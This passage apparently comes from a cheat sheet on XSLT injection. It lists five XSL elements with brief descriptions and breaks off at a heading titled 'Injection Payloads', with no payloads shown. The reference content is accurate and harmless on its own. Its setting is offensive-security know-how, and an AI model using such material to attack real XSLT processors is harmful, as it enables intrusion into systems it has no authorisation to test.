<xsl:template>	 # This element indicates an XSL template. It can contain a match attribute that contains a path in the XML-document that the template applies to
<xsl:value-of>	 # This element extracts the value of the XML node specified in the select attribute
<xsl:for-each>	 # This elements enables looping over all XML nodes specified in the select attribute
<xsl:sort>	 # This element specifies the node to sort elements in a for loop by in the select argument. Additionally, a sort order may be specified in the order argument
<xsl:if>	 # This element can be used to test for conditions on a node. The condition is specified in the test argument

# Injection Payloads
